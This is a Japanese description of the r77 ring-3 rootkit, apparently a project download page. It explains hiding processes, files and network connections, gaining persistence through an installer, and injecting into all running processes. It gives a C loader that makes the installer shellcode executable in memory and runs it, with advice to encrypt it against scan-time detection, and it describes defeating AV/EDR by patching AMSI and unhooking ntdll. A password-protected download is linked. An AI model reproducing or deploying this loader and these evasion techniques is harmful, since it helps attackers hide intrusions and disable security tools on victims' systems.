
ファイルレスリング3ルートキット(インストーラと永続化機能付き)。プロセス、ファイル、ネットワーク接続などを隠蔽します。
r77は、すべてを隠蔽するring 3ルートキットです:
"$77"で始まるすべてのものが隠蔽されます。

動的な設定システムにより、プロセスをPIDや名前で、ファイルシステムアイテムをフルパスで、特定のポートのTCPおよびUDP接続などを隠蔽できます。

設定はHKEY_LOCAL_MACHINE\SOFTWARE\$77configにあり、昇格された権限なしで任意のプロセスから書き込み可能です。このキーのDACLは、すべてのユーザーにフルアクセスを許可するように設定されています。
さらに、$77configキーはルートキットによって隠蔽されます。
r77の展開には1つのファイルInstall.exeのみが必要です。実行するとr77がシステムに永続化され、すべての実行中のプロセスにインジェクションされます。
Uninstall.exeはr77をシステムから完全かつグレースフルに削除します。
Install.shellcodeはインストーラのシェルコード版です。これにより、Install.exeをドロップすることなくインストールを統合できます。シェルコードはメモリにロードし、関数ポインタにキャストして実行するだけです:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
ルートキットはシステムメモリに常駐し、ディスクにファイルを書き込みません。これは複数のステージで実現されます。
この図は、インストーラの実行から、すべてのプロセスで動作するルートキットDLLに至るまでの各ステージを示しています。ドキュメントには、各ステージの実装に関する詳細な章があります。

いくつかのAVおよびEDR回避技術が使用されています:
amsi.dll!AmsiScanBufferをパッチして常にAMSI_RESULT_CLEANを返すようにすることでAMSIを無効化します。多態性(ポリモーフィズム)を使用して、AMSIバイパスのシグネチャ検出を回避します。ntdll.dllをフックすることでAPI呼び出しを監視するため、ディスクから新しいコピーをロードして元のセクションに復元することで、これらのフックを削除する必要があります。そうしないと、プロセスインジェクションが検出されます。テストコンソールは、個々のプロセスにr77をインジェクションし、設定システムをテストドライブするのに便利なツールです。

r77とその内部構造の包括的かつ完全な概要と、その展開と統合方法について詳しくは、技術ドキュメントをお読みください。
r77 Rootkit 1.8.2.zip
(ZIPパスワード: bytecode77)
技術ドキュメント